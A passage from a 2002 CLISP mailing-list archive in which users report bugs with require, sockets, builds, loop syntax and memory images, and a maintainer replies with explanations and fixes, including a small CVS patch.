        (setf (ext:long-float-digits) 3322)
form in
        (eval-when (compile load eval))
and recompile and then take another good look at your compiled FAS file.

I hope someone else will provide a detailed explanation of why this
behavior is correct.

Thanks.

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Hello Karsten,

Tuesday, March 12, 2002, 9:59:53 AM, you wrote:

Karsten> could you share the http-getter with us so that I can test the IPV6 mod on
Karsten> Cygwin?

That's it. I don't khow how "testful" is it in this case. IP address
and HTTP address have to be splitted before use. I mean if you usually
go http://www.zzz.com/index.html, you should use
"www.zzz.com" as server and "/index.html" as address. "http://"
goes to trash can.

=======
(defun bk(n)
 (loop for i from 1 to n do (princ #\Backspace)))

(defun http-get(server address &optional datasink)
 (let ((got 0)(getstream (socket-connect 80 server)))
  (if getstream
   (progn
    (format t "Connected to ~A. Lokin around" server)
    (format getstream "GET ~A~%" address)
    (loop with line = nil
          do (setf line (read-line getstream nil nil))
          while line
          do (format (if datasink datasink t) "~A~%" line)
             (incf got (+ (length line) 1))
             (when datasink
               (bk 12)
               (format t "~6,'0D bytes" got)))
    (format t "~%Got ~A : ~D bytes from ~A~%" address got getstream)
    (close getstream))
  (format t  "Cannot connect to ~A~%" server))))

(http-get "192.168.1.1" "/vp/index.html")
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(with-open-file (f ".cvsignore" :direction :output) ...)

*** - no file name given: #P"/some/path/to/.cvsignore"

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Hi

On Tue, Mar 12, 2002 at 02:03:54PM -0800, Kaz Kylheku wrote:
> (with-open-file (f ".cvsignore" :direction :output) ...)
> 
> *** - no file name given: #P"/some/path/to/.cvsignore"
> 

Clisp thinks the bit after the dot is the type, not the name.

#<output buffered file-stream character #P"/home/prw/dot.txt" @1>
[2]> (pathname-name #P".inputrc")
nil
[3]> (pathname-type #P".inputrc")
"inputrc"
[4]> (pathname-name (make-pathname :name ".inputrc"))
".inputrc"
[5]> (dribble)

:-(

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I've got a lisp library in ~/lisp/foo.lisp.  I have another file,
bar.lisp which "requires" it:

   $ cat bar.lisp
   (require "foo")

When I load bar:

   $ clisp -q -norc

   [1]> (lisp-implementation-version)
   "2.28 (released 2002-03-03) (built 3224363402) (memory 3224363613)"

$ clisp -q -norc

   [1]> *load-paths* 
   (#P"" "~/lisp/**/")
   [2]> (load "bar")
   ;; Loading file /home/russell/bar.lisp ...
   *** - A file with name foo does not exist
   1. Break [3]> *load-paths* 
   (#P"/home/russell/" . #P"/home/russell/bar.lisp")
   1. Break [3]> 
   [4]> *load-paths* 
   (#P"" "~/lisp/**/")
   [5]> 

This used to work (i.e., foo was found with the require) in earlier
versions of CLISP.

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> * In message <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es>
> * On the subject of "[clisp-list] Re: clisp-list digest, Vol 1 #413 - 4 msgs"
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> * Honorable Karsten <vs1100@terra.es> writes:
>
> could you share the http-getter with us so that I can test the IPV6
> mod on Cygwin?

see CLOCC/PORT/net.lisp and CLOCC/CLLIB/url.lisp
<http://www.podval.org/~sds/data/port.html>
<http://www.podval.org/~sds/data/cllib.html>

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Hey,

I'm trying to write the contents of a file to a socket with a series of
formats.  After I'm done writing, I would like to immediately close the
socket (by the way, this is an HTTP server).  However, if I close it,
only one line will get written to the socket and the connection gets
closed.  If I don't close it, everything gets written to the socket, but
a browser will just hang there waiting for the end of the file. =20

Here is what I'm doing (with some other stuff stripped out).

(let ((msock (socket-server 9876)))
   (loop
     do (let* ((ssock (socket-accept msock))
               (cc (read-line ssock)))
           ;some testing and stuff
               (let* ((od (open "file")))
                  (format ssock "Content-Length: ~D~%" (file-length od))
                  (format ssock "Content-Type: text/html~%~%")
                  ; read file loop
           (close ssock))))

Here is the output through a telnet session:

user@host >> telnet localhost 8383
Trying 127.0.0.1
Connected to localhost
Escape character is '^]'.
GET /index.html HTTP/1.0

Content-Length: 119Connection closed by foreign host.

Now, don't worry if you see something wrong with how the HTTP part
should be implemented, this is just a stub to see if I can get it to
write a file to the socket.

Can anyone set me straight here?

Oh, also, in the server I wrote in C, I fork()ed and did all my socket
writing in the child.  I would like to be able to do *something* like
that in mine.  I know there isn't a fork, but is there multiprocessing
of some kind? =20

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After upgrading clisp to 2.28 I seem to have run into some problems with
many of my "scripting" uses of clisp. All of my problems seem to revolve
around `require' and *load-paths* (and, most likely, an incorrect assumption
of mine which 2.28 exposes).

To give some background: I'm building and using all of this on RedHat
GNU/Linux 6.2, working with clisp 2.28 as downloaded from a mirror of the
GNU ftp site.

config.lisp as the following line for setting the *load-paths*:

,----[ Excerpt from config.lisp in the clisp sources ]
| (defparameter *load-paths*
|   '(#"./"           ; in the current directory
|     "~/lib/lisp/**/")   ; in all directories below $HOME/lib/lisp
|   "The list of directories where programs are searched on LOAD etc.")
`----

IOW, more or less as clisp comes "out of the box" except that I prefer not
to have the lisp directory directly in my home directory.

With a "normal" invocation of clisp:

,----
| davep@hagbard:~$ clisp -q -norc
| 
| [1]> *load-paths*
| (#P"" "~/lib/lisp/**/")
`----

Now, the first time I noticed a problem with `require' and *load-path* was
when I first started up clisp with my ~/.clisprc.lsp. I have a `require' of
a little library of mine in there:

,----
| (require :dp-lib)
| (use-package :dp-lib)
`----

but:

,----
| davep@hagbard:~$ type cl
| cl is aliased to `clisp -K full -q -ansi'
| davep@hagbard:~$ cl
| ;; Loading file /home/davep/.clisprc.lsp ...
| *** - A file with name dp-lib does not exist
| 1. Break [2]> 
`----

dp-lib exists in ~/lib/lisp:

,----
| davep@hagbard:~$ ls lib/lisp/dp-lib.fas 
| lib/lisp/dp-lib.fas
`----

If I change the `require' to a load everything works fine:

,----
| davep@hagbard:~$ cl
| ;; Loading file /home/davep/.clisprc.lsp ...
| ;;  Loading file /home/davep/lib/lisp/dp-lib.fas ...
| ;;  Loading of file /home/davep/lib/lisp/dp-lib.fas is finished.
| ;; Loading of file /home/davep/.clisprc.lsp is finished.
| [1]> 
`----

Going back to the `require' version, the *load-path* seems to be correct
prior to the `require':

,----[ Test code in ~/.clisprc.lsp ]
| (format t "~%~S~%" *load-paths*)
| (require :dp-lib)
| (use-package :dp-lib)
`----

,----
| davep@hagbard:~$ cl
| ;; Loading file /home/davep/.clisprc.lsp ...
| (#P"" "~/lib/lisp/**/")
| 
| *** - A file with name dp-lib does not exist
| 1. Break [2]> 
`----

Up as far as 2.27 this was never a problem (and I've been using clisp on and
off for a good couple or so years now). This same problem has knock on
effects on many of the tools I've written using clisp because they `require'
calls for loading various libraries no longer work.

Could I have simply made a mistake in building clisp this time round? Has
something changed between 2.27 and 2.28 which exposes an incorrect
assumption on my part? Has something "broken" between 2.27 and 2.28?

Thoughts, help and guidance would be appreciated.

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On 13 Mar 2002 18:59:30 -0500, Jeremy Doolin wrote:

> Oh, also, in the server I wrote in C, I fork()ed and did all my socket
> writing in the child.  I would like to be able to do *something* like
> that in mine.  I know there isn't a fork, but is there multiprocessing
> of some kind?  

If you build CLISP with Unix bindings, you get access to LINUX:FORK. Sam
recently posted here the following example:

(defun mesg (&rest fmt-args)
  (format t "~&[~d] " (linux:getpid))
  (apply #'format t fmt-args))
(defun test-wait2 ()
  (let ((pid (linux:fork)))
    (cond ((= pid -1) (error "fork failed"))
	  ((/= pid 0)
           (mesg "Started child ~d~%" pid)
           (multiple-value-bind (childpid status) (linux:wait)
             (mesg "Child ~d has finished~%" childpid)
             (if (zerop (logand status #x7f))
                 (mesg "with exit code=~a~%" (linux:WEXITSTATUS status))
                 (mesg "Child bombed ~d / ~d~%" (linux:WTERMSIG status)
                       (linux:WEXITSTATUS status)))))
	  (t (sleep 1)          ; let dad go first
             (mesg "Hello, Pop (~d), I am ~d~%"
                   (linux:getppid) (linux:getpid))
             (linux:exit 37)))))
(test-wait2)

[17857] Started child 17858
[17858] Hello, Pop (17857), I am 17858
[17857] Child 17858 has finished
[17857] with exit code=37

The Common Lisp Cookbook includes an example with CMU CL.


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After downloading the lastest cvs, and the following configure and
makemake I get the following error
when I build.  Can anyone offer any sugestions on this?
Thanks,
Dan Stanger

./configure --with-readline clisp-build
./makemake --with-readline --with-gettext --with-dynamic-ffi >Makefile

*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"type.lisp"
@285>: #<PACKAGE FFI> has no external symbol with name
"FOREIGN-FUNCTION"[error.d:304] cann
ot handle the fatal error due to a fatal error in the fatal error
handler!
Signal 11
make: *** [interpreted.mem] Error 139



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> * In message <3C90BB2F.4921BD45@ieee.org>
> * On the subject of "[clisp-list] Problem building latest cvs using cygwin"
> * Sent on Thu, 14 Mar 2002 08:01:03 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> After downloading the lastest cvs, and the following configure and
> makemake I get the following error when I build.  Can anyone offer any
> sugestions on this?
> 
> *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"type.lisp"
> @285>: #<PACKAGE FFI> has no external symbol with name
> "FOREIGN-FUNCTION"[error.d:304] cann
> ot handle the fatal error due to a fatal error in the fatal error
> handler!
> Signal 11
> make: *** [interpreted.mem] Error 139

thanks for testing - just fixed this.
(for the curious: see src/ChangeLog and `cvs log type.lisp`)

[needless to repeat, but still - if you use a cvs CLISP - which you are
 encouraged if you are so brave - you should read clisp-devel and send
 complaints there, not here; if you were reading clisp-devel, you would
 have known more about the recent changes and might have even submitted
 a patch instead of a bug report.]

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> * In message <1016063971.1271.59.camel@zeus>
> * On the subject of "[clisp-list] writing to a socket"
> * Sent on 13 Mar 2002 18:59:30 -0500
> * Honorable Jeremy Doolin <jdoolin@cs.ohiou.edu> writes:
>
> I'm trying to write the contents of a file to a socket with a series
> of formats.  After I'm done writing, I would like to immediately close
> the socket (by the way, this is an HTTP server).  However, if I close
> it, only one line will get written to the socket and the connection
> gets closed.  If I don't close it, everything gets written to the
> socket, but a browser will just hang there waiting for the end of the
> file.
> 
> Here is what I'm doing (with some other stuff stripped out).
> 
> (let ((msock (socket-server 9876)))
>    (loop
>      do (let* ((ssock (socket-accept msock))
>                (cc (read-line ssock)))
>            ;some testing and stuff
>                (let* ((od (open "file")))
>                   (format ssock "Content-Length: ~D~%" (file-length od))
>                   (format ssock "Content-Type: text/html~%~%")
>                   ; read file loop
>            (close ssock))))
> 
> Here is the output through a telnet session:
> 
> user@host >> telnet localhost 8383
> Trying 127.0.0.1
> Connected to localhost
> Escape character is '^]'.
> GET /index.html HTTP/1.0
> 
> Content-Length: 119Connection closed by foreign host.
> 
> Now, don't worry if you see something wrong with how the HTTP part
> should be implemented, this is just a stub to see if I can get it to
> write a file to the socket.
> 
> Can anyone set me straight here?

this is very strange.
I do not observe this:

[1]> (setq s (socket-server 12345))
#<SOCKET-SERVER 0.0.0.0:12345>
[2]> (setq o (socket-accept s))
#<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:12345>
[3]> (read-line o)
"foo bar!" ;
NIL
[4]> (format o "zot~%")
NIL
[5]> (with-open-file (f "/proc/cpuinfo") (loop for l = (read-line f nil nil) while l do (write-line l o)))
NIL
[6]> (close o)
T
[7]> 


$ telnet localhost 12345
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
foo bar!
zot
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 5
model           : 8
model name      : Mobile Pentium MMX
stepping        : 1
cpu MHz         : 199.995
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : yes
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu vme de pse tsc msr mce cx8 mmx
bogomips        : 398.13

Connection closed by foreign host.
$

maybe you could send us some actual code?
Please do not send megabytes of intricate server implementations -
strip it to a simple example as mine above.
or, better yet, debug it yourself? :-)

I assume you are using 2.28 (not that it should matter - these things
have been working just fine since forever)

PS I recommend using `with-open-file' instead of `open' and
`with-open-stream+socket-accept/socket-connect' instead of bare
`socket-accept/socket-connect'.

> Oh, also, in the server I wrote in C, I fork()ed and did all my socket
> writing in the child.  I would like to be able to do *something* like
> that in mine.  I know there isn't a fork, but is there multiprocessing
> of some kind?

you shouldn't need anything like that here.
CLISP INSPECT works as an HTTP server just fine.

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> * In message <20020314125633.L21294@hagbard.davep.org>
> * On the subject of "[clisp-list] Confused by `require', *load-paths* and clisp 2.28"
> * Sent on Thu, 14 Mar 2002 12:56:33 +0000
> * Honorable Dave Pearson <davep@davep.org> writes:
>
> | davep@hagbard:~$ type cl
> | cl is aliased to `clisp -K full -q -ansi'
> | davep@hagbard:~$ cl
> | ;; Loading file /home/davep/.clisprc.lsp ...
> | *** - A file with name dp-lib does not exist
> | 1. Break [2]> 
> 
> | davep@hagbard:~$ ls lib/lisp/dp-lib.fas 
> | lib/lisp/dp-lib.fas
> 
> If I change the `require' to a load everything works fine:

> | davep@hagbard:~$ cl
> | ;; Loading file /home/davep/.clisprc.lsp ...
> | ;;  Loading file /home/davep/lib/lisp/dp-lib.fas ...
> | ;;  Loading of file /home/davep/lib/lisp/dp-lib.fas is finished.
> | ;; Loading of file /home/davep/.clisprc.lsp is finished.
> | [1]> 

1. I broke it in the 2002-02-28 patch and just fixed it in the CVS (path
   appened).  Sorry.

2. this bug slipped through because, apparently, no pretester uses
   REQUIRE.  I hope this will inspire you to participate in the next
   pre-test. 

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Index: defs1.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/defs1.lisp,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -w -b -u -b -w -i -B -r1.12 -r1.13
--- defs1.lisp	1 Mar 2002 05:01:49 -0000	1.12
+++ defs1.lisp	14 Mar 2002 15:48:12 -0000	1.13
@@ -167,7 +167,7 @@
           (*load-paths* (if (null *load-truename*) *load-paths*
                             (cons (make-pathname :name nil :type nil
                                                  :defaults *load-truename*)
-                                  *load-truename*)))
+                                  *load-paths*)))
           #-CLISP (*default-pathname-defaults* '#""))
       (if (atom pathname) (load pathname) (mapcar #'load pathname)))))
 



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* Sam Steingold <sds@gnu.org> [2002-03-14 10:47:52 -0500]:

> 1. I broke it in the 2002-02-28 patch and just fixed it in the CVS (path
>    appened).  Sorry.

Much appreciated. Many thanks. No need to apologise, these things happen.

> 2. this bug slipped through because, apparently, no pretester uses
>    REQUIRE.  I hope this will inspire you to participate in the next
>    pre-test. 

Inspiration has nothing to do with it (if you check back you'll see I've
pretested a number of previous releases and have reported build problems),
available time and other commitments has. You might want to consider that
before suggesting that people lack the inspiration to help this particular
free software project.

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> * In message <20020314162518.Z21294@hagbard.davep.org>
> * On the subject of "Re: [clisp-list] Confused by `require', *load-paths* and clisp 2.28"
> * Sent on Thu, 14 Mar 2002 16:25:18 +0000
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>
> Inspiration has nothing to do with it (if you check back you'll see
> I've pretested a number of previous releases and have reported build
> problems), available time and other commitments has. You might want to

sure - I meant it as a loose quote from "up the down staircase"

> consider that before suggesting that people lack the inspiration to
> help this particular free software project.

you are not the first one to report the this bug.
I did not mean you personally, but rather the group of "require" users.
no insult intended - your contributions are appreciated.

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How about simplifying the build? No manual steps beyond ``configure''
and ``make install''.  People shouldn't have to cd down into a
directory and then have to repeat some command.

Secondly, the -K full linkkit should have every available feature by
default: clx, regex, linuxlibc6 if applicable, etc.

This second item is important, because distribution maintainers who
include CLISP in a GNU/Linux distribution aren't going to drill down into
it to find out what configure options there are to enable extra things.
You want ``--disable-*'' negative options for people who want to hack
a smaller install.

If distributions come with minimal builds of CLISP, then application
programmers have to tell users to ignore the CLISP that came with their
system, and build one from scratch with all the right modules.  Or else
developers have to include all the right paraphernalia to build the needed
linkkit. That shouldn't be necessary for components that are
bundled with CLISP, only for custom interfaces.



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I may be somewhat confused, but I just ran into a problem trying to
build on Linux 2.4.x from CVS:

   $ cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co clisp

   $ cd /build/clisp

   $ /src_archive/lang/lisp/clisp/cvs/clisp/configure --srcdir=/src_archive/lang/lisp/clisp/cvs/clisp --prefix=/packages/development/lisp/clisp

   $ ./makemake  --prefix=/packages/development/lisp/clisp --with-readline --with-gettext --with-dynamic-ffi > Makefile

   $ make config.lisp
   cp -p /src_archive/lang/lisp/clisp/cvs/clisp/src/cfgunix.lisp config.lisp
   echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
   /bin/sh: config.lisp: Permission denied
   make: *** [config.lisp] Error 1

The problem appears to be that src/cfgunix.lisp has -r--r--r--
permissions and the make rule says to preserve those permissions,
which then conflicts with the rule's desire to append to the file.


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I'm running Linux Mandrake 8.1 on an old Pentium 133 Mhz and I download
the source for CLISP.  I followed all the installations steps, but when I
got to step 6 which is either enter the command make or the list of makes.
At this point I get an error message saying there is no target and no
makefile found.  If I try makeinit it says test -d bindings || mkdir
bindings.  What is wrong?



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> * In message <Pine.OSF.4.43.0203141725510.30693-100000@wpi.WPI.EDU>
> * On the subject of "[clisp-list] (no subject)"
> * Sent on Thu, 14 Mar 2002 17:28:32 -0500 (EST)
> * Honorable Matthew Gein Cheung <mcheung@WPI.EDU> writes:
>
> I'm running Linux Mandrake 8.1 on an old Pentium 133 Mhz and I
> download the source for CLISP.  I followed all the installations
> steps, but when I got to step 6 which is either enter the command make
> or the list of makes.  At this point I get an error message saying
> there is no target and no makefile found.  If I try makeinit it says
> test -d bindings || mkdir bindings.  What is wrong?

too little information.
please unpack the sources in a fresh place and type there

$ ./configure --build build-dir

and report all errors you will get.

thanks.

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> * In message <86r8mmhkm3.fsf@coulee.tdb.com>
> * On the subject of "[clisp-list] permissions problem on cfgunix.lisp/config.lisp from CVS"
> * Sent on 14 Mar 2002 14:04:20 -0800
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>
>    cp -p /src_archive/lang/lisp/clisp/cvs/clisp/src/cfgunix.lisp config.lisp
>    echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
>    /bin/sh: config.lisp: Permission denied
>    make: *** [config.lisp] Error 1

I modified makemake.in to take care of this.
thanks.


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

Sam> too little information.  please unpack the sources in a fresh
Sam> place and type there

Sam> $ ./configure --build build-dir

Sam> and report all errors you will get.

Sam> thanks.

This is from the CVS repository again (sync'd this afternoon):

   $ ./configure --build /build/clisp --prefix=/packages/development/clisp
   [...]
   gcc -E ari80386.c | grep -v '^#' > ari80386.s
   gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x assembler -c ari80386.s
   gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -O0 -c genclisph.c
   In file included from genclisph.d:5:
   lispbibl.d:7092: warning: register used for two global register variables
   cd /src_archive/lang/lisp/clisp/cvs/clisp/ && make -f Makefile.devel src/configure
   make[1]: Entering directory `/aux2/src_archive/lang/lisp/clisp/cvs/clisp'
   cd src ; autoconf/autoconf -A autoconf -l autoconf
   autoconf/autoconf: configure: Permission denied
   make[1]: *** [src/configure] Error 1
   make[1]: Leaving directory `/aux2/src_archive/lang/lisp/clisp/cvs/clisp'
   make: *** [/src_archive/lang/lisp/clisp/cvs/clisp/src/configure] Error 2

Should anything be modifying the source directory tree during a build?
What if it was on read-only media?

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> * In message <Pine.LNX.4.44.0203141259280.3347-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Build procedure."
> * Sent on Thu, 14 Mar 2002 13:10:45 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> How about simplifying the build? No manual steps beyond ``configure''
> and ``make install''.  People shouldn't have to cd down into a
> directory and then have to repeat some command.

that's what it is already.
$ ./configure --build build
$ cd build; make install

> Secondly, the -K full linkkit should have every available feature by
> default: clx, regex, linuxlibc6 if applicable, etc.
> 
> This second item is important, because distribution maintainers who
> include CLISP in a GNU/Linux distribution aren't going to drill down
> into it to find out what configure options there are to enable extra
> things.  You want ``--disable-*'' negative options for people who want
> to hack a smaller install.

it's not like distribution maintainers are fighting for the honor. :-(
first, many people use linux on an old X-less machine - so if we
distribute CLISP with full image requiring X, we lose them.
second, the build options in clisp.spec for RPM is under our control.

would you like to maintain CLISP RPMs?

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> * In message <86lmcufynw.fsf@coulee.tdb.com>
> * On the subject of "Re: [clisp-list] (no subject)"
> * Sent on 14 Mar 2002 16:43:47 -0800
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
> Sam> too little information.  please unpack the sources in a fresh
> Sam> place and type there
> Sam> $ ./configure --build build-dir
> Sam> and report all errors you will get.
> Sam> thanks.

what does this have to do with your message?

> This is from the CVS repository again (sync'd this afternoon):

why are you writing this here and not to <clisp-devel> then?

> Should anything be modifying the source directory tree during a build?
> What if it was on read-only media?

1. you are using a CVS CLISP - a _development_ version.  enough said.
   [or maybe not, it appears that there is too much misunderstanding:
    we _do_ encourage people to use the _development_ version, with the
    hope that they will catch or, better yet, _fix_ bugs.
    nevertheless, if you _are_ using a development version, you are
    expected to understand that you cannot expect a smooth process and
    you will have to use discretion.]

2. every time a configure.in or autoconf/* is changed, configure has to
   be regenerated.  I find it impractical to commit all such
   regenerations right away (since configure has lots of line numbers in
   it, a trivial change in configure.in will result in _huge_ diffs for
   configure)

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Hello list,

    I'm having problems building the latest release on my (Sparc) Ultra-10
(running SuSE 7.3).  I've been reading some of the stuff on the Source Forge
page about setting safety to 3 or whatnot.

    At first the compile would segfault running the initial list environment
(it would segfault before showing the clisp banner).

    After setting safety to 3, cleaning, and rebuilding clisp does indeed
come up.  The make process then starts to build the interpreted image.  It
gets three files into the process and then segfaults again (I think it's
trying to load DEFMACRO.LISP).  I've traced the segfault to line 1480 of
spvw_circ.d.

    The line in question is something like "switch (Record_type(obj)) {".

    The error is a segfault again.  Mayhaps 'obj' isn't pointing to what it
should?  Who knows.

    Hope that helps whomever.  ;)

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I just like to confirm that with the latest patches from cvs clisp builds 
fine on cygwin. All tests are fine, control-c is working and getting 
http-pages works fine. I don't know how to test the ipv6 stuff though.

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Hi,

output of DESCRIBE is not as informative as it ought to be. Here is a =
patch.

Old:
#<FOREIGN-FUNCTION "C_self" #x00401037> is a foreign function.
Argument list: (ARG0).
New:
#<FOREIGN-FUNCTION "C_self" #x00401037> is a foreign function of =
foreign type=20
(FFI:C-FUNCTION (:ARGUMENTS ((:|arg1| FFI:ULONG :IN :NONE)))
 (:RETURN-TYPE FFI:ULONG :NONE) (:LANGUAGE :STDC)).

The diff is against CLISP-2.28, not CVS.

Regards,
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        (FFI::FOREIGN-FUNCTION=0A=
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!        (multiple-value-bind (name req opt rest-p key-p keywords =
other-keys-p)=0A=
!            (sys::function-signature obj)=0A=
!          (declare (ignore name))=0A=
!          (sys::describe-signature stream req opt rest-p key-p =
keywords=0A=
!                                   other-keys-p)))=0A=
        (COMPILED-FUNCTION ; SUBR=0A=
         (format stream (TEXT "a built-in system function."))=0A=
         (multiple-value-bind (name req opt rest-p keywords =
other-keys)=0A=
--- 432,444 ----=0A=
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        #+FFI=0A=
        (FFI::FOREIGN-FUNCTION=0A=
!        (format stream (TEXT "a foreign function of foreign type =
~S.")=0A=
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Hi

On Gun/Linux, with CVS Clisp, saving a memory image does not save the
value of various encoding vars, (eg *terminal-encoding*).

[2]>  *terminal-encoding*
#<ENCODING CHARSET:ASCII :UNIX>
[3]> (load (make-pathname :directory '(:absolute "home" "prw") :name ".clisprc"))
;; Loading file /home/prw/.clisprc ...
;; Loading of file /home/prw/.clisprc is finished.
T
[4]>  *terminal-encoding*
#<ENCODING CHARSET:ISO-8859-1 :UNIX>
[5]> (saveinitmem "testinit.mem" :quiet t)
953952 ;
524288

;in the new memory image...

[3]> *terminal-encoding*
#<ENCODING CHARSET:ASCII :UNIX>
[4]> (bye)

In addition, the Clisp run with the new memory image reported that it
was dribbling to the file which it had dribbled to to record the
session in the original memory image.  So the stream was open in the
new memory image.  Even if I had forgotten to stop #'dribble (which I
didn't) I don't think it should do that.

So that's 2 bugs (I think).

Regards,
Peter


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Hi

I've reported this before, but I wasn't sure it was a bug in Clisp or
in Linux.  Now I'm sure it's in Clisp, and it is a serious bug.

I'm using cvs Clisp (but the same thing happened in 2.27) on
Gnu/Linux.

This is what /proc/sys/fs/binfmt_misc/* looks like:

total 84
-rw-r--r--   1 root     root            0 Mar 17 04:53 FAS
-rw-r--r--   1 root     root            0 Mar 17 04:53 LISP
-rw-r--r--   1 root     root            0 Mar 17 04:53 PL
-rw-r--r--   1 root     root            0 Mar 17 04:53 PY
-rw-r--r--   1 root     root            0 Mar 17 04:53 RB
--w-------   1 root     root            0 Mar 17 04:53 register
-rw-r--r--   1 root     root            0 Mar 17 04:53 status

I use the following to register, with the kernel, extensions as
executable by the specified interpreter:

(defun regext (ext interpreter)
  "EXT & INTERPRETER = lower case strings"
  (let ((path (parse-namestring "/proc/sys/fs/binfmt_misc/register")))
    (with-open-file (str path :direction :output)
		    (format str ":~:@(~a~):E::~a::~a:" ext ext interpreter))))

;eg (regext "fas" "/usr/bin/clisp") registers the .fas extension as executable
;   by /usr/bin/clisp with the kernel.
;   you still have to (chmod 7xx xyz.fas)

It works fine.  The problem arises when I try to cancel or disable
extensions using with-open-file *on Clisp*.

This is what happens:

#<output buffered file-stream character #P"bin-write.clisp" @1>
[2]> (with-open-file (str "/proc/sys/fs/binfmt_misc/PY" :direction :output :if-exists :overwrite) (format str "-1"))

*** - UNIX error 22 (EINVAL): Invalid argument
1. Break [3]> (dribble)

Quite apart from the fact that *THIS SHOULD NOT HAPPEN*, the Clisp in
which I issue this call is totally trashed.  Every following call
results in the same Unix error.  In other words, ITS BROKEN.

I can work around it using libc6 #'linux:fopen, but I should NOT have
to do that:

(defun cancel (&optional (name nil))
  "optional NAME = lower case string naming ext to remove"
  (if (null name)
      (let* ((path "/proc/sys/fs/binfmt_misc/status")
	     (fp (linux:fopen path "w")))
	(linux:fputs "-1" fp)
	(linux:fclose fp))
    (let* ((path (format nil "/proc/sys/fs/binfmt_misc/~:@(~a~)" name))
	   (fp (linux:fopen path "w")))
      (linux:fputs "-1" fp)
      (linux:fclose fp))))

;eg (cancel "fas") removes FAS from /proc/sys/fs/binfmt_misc/
;   (cancel) removes all the registered extensions

This is what it should look like, and what it looks like on CMUCL when
I use the same command as the one that trashes Clisp:

Starting /home/prw/cmucl/bin/lisp ...
CMU Common Lisp 18c, running on localhost.localdomain
Send questions and bug reports to your local CMU CL maintainer, 
or to cmucl-help@cons.org. and cmucl-imp@cons.org. respectively.
Loaded subsystems:
    Python 1.0, target Intel x86
    CLOS based on PCL version:  September 16 92 PCL (f)
* 
* (with-open-file (str "/proc/sys/fs/binfmt_misc/RB"
		     :direction :output
		     :if-exists :overwrite)
		(format str "-1"))
NIL
* (quit)

Correctly removes RB from the enabled extensions.

Regards,
Peter


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> * In message <20020317041555.A169@localhost.localdomain>
> * On the subject of "[clisp-list] saveinitmem? - vars reset and dribble bug"
> * Sent on Sun, 17 Mar 2002 04:15:55 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> On Gun/Linux, with CVS Clisp, saving a memory image does not save the
> value of various encoding vars, (eg *terminal-encoding*).

I know you hate to hear this, but "this is a feature, not a bug". :-)
the -encoding* are symbol macros, not variables, and they are
initialized from the command line options and the environment.

Yes, there might be a situation when you would prefer to save the
encoding information.  But this is not really safe since such an image
might have problems with different terminals (which do not understand
the encoding you save)...

I hope Bruno will shed some light here.

> In addition, the Clisp run with the new memory image reported that it
> was dribbling to the file which it had dribbled to to record the
> session in the original memory image.  So the stream was open in the
> new memory image.  Even if I had forgotten to stop #'dribble (which I
> didn't) I don't think it should do that.

I just fixed this.
thanks.

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I am trying to port some code from cmucl to clisp, and I think I have
found a problem with the
loop macro.  In the following code the exit condition while op-fun seems
to occur after the
call to parse-cast-expression, which is what term-fun is bound to.
Is this syntax for the loop macro correct?  I think that when the macro
is expanded, it
produces a warning, indicating that for clauses should occur before the
loops main body.
I would appreciate any sugestions on this.  This is with clisp 2.27 on
linux.
Thanks,
Dan Stanger

(defmacro def-expr-expression (expr-fun term-fun op-list)
  (let ((op-alist (mapcar #'(lambda (op)
                              (cons (car op) (cadr op)))
                          op-list)))
    `(let ((op-alist ',op-alist))
       (defun ,expr-fun (lstream)
         (loop
          with result = (,term-fun lstream)
          for op = (look lstream)
          for op-fun = (cdr (assoc op op-alist))
          while op-fun
          for term = (progn
                       (consume lstream)
                       (,term-fun lstream))
          do (setq result (funcall op-fun *compiler-implementation*
                                   result term))
          finally (return result))))))

EVAL frame for form
(TAGBODY SYSTEM::BEGIN-LOOP
 (PROGN (PSETQ CPARSE::OP (CPARSE::LOOK CPARSE::LSTREAM))
  (PSETQ CPARSE::OP-FUN (CDR (ASSOC CPARSE::OP CPARSE::OP-ALIST)))
  (PSETQ CPARSE::TERM (PROGN (CPARSE::CONSUME CPARSE::LSTREAM)
(CPARSE::PARSE-CAST-EXPRESSION CPARSE::LSTREAM))))
 (PROGN (UNLESS CPARSE::OP-FUN (GO SYSTEM::END-LOOP))
  (SETQ CPARSE::RESULT (FUNCALL CPARSE::OP-FUN
CPARSE::*COMPILER-IMPLEMENTATION* CPARSE::RESULT CPARSE::TERM)))
 (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP (RETURN-FROM NIL
CPARSE::RESULT))
1. Break [107]>



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> * In message <3C955E90.6DA715E@ieee.org>
> * On the subject of "[clisp-list] Possible problem with loop macro"
> * Sent on Sun, 17 Mar 2002 20:27:12 -0700
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> Is this syntax for the loop macro correct?

no, you cannot have "for" after "while".
see the BNF in CLHS


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> * In message <20020223175001.A7074@localhost.localdomain>
> * On the subject of "Re: [clisp-list] probe-file bug"
> * Sent on Sat, 23 Feb 2002 17:50:01 +0100
